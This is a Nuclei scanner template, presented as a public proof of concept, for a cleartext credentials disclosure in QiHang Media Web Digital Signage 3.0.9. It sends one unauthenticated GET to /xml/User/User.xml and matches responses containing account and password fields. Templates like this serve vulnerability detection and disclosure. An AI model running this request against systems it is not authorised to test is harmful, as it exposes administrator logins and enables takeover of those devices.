QiHang Media Web Digital Signage 3.0.9 suffers from a clear-text credentials disclosure vulnerability that allows an unauthenticated attacker to issue a request to an unprotected directory that hosts an XML file /xml/User/User.xml and obtain administrative login information that allows for a successful authentication bypass attack.
PoC代码[已公开]
id: qihang-media-disclosure
info:
name: QiHang Media Web Digital Signage 3.0.9 - Cleartext Credentials Disclosure
author: gy741
severity: high
description: |
QiHang Media Web Digital Signage 3.0.9 suffers from a clear-text credentials disclosure vulnerability that allows an unauthenticated attacker to issue a request to an unprotected directory that hosts an XML file /xml/User/User.xml and obtain administrative login information that allows for a successful authentication bypass attack.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5579.php
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
max-request: 1
tags: qihang,exposure,vuln
http:
- method: GET
path:
- "{{BaseURL}}/xml/User/User.xml"
matchers:
- type: word
part: body
words:
- "<?xml version"
- "<Users>"
- "account="
- "password="
condition: and
# digest: 490a004630440220767d0f94c683e784f48000ea9a84469aac11c0ad5eb119801017814071a6ec7e02203967dc9a00abf2690a9d452bc6d431f911d989779489c6a389d8a9167d0a40e3:922c64590222798bb761d5b6d8e72950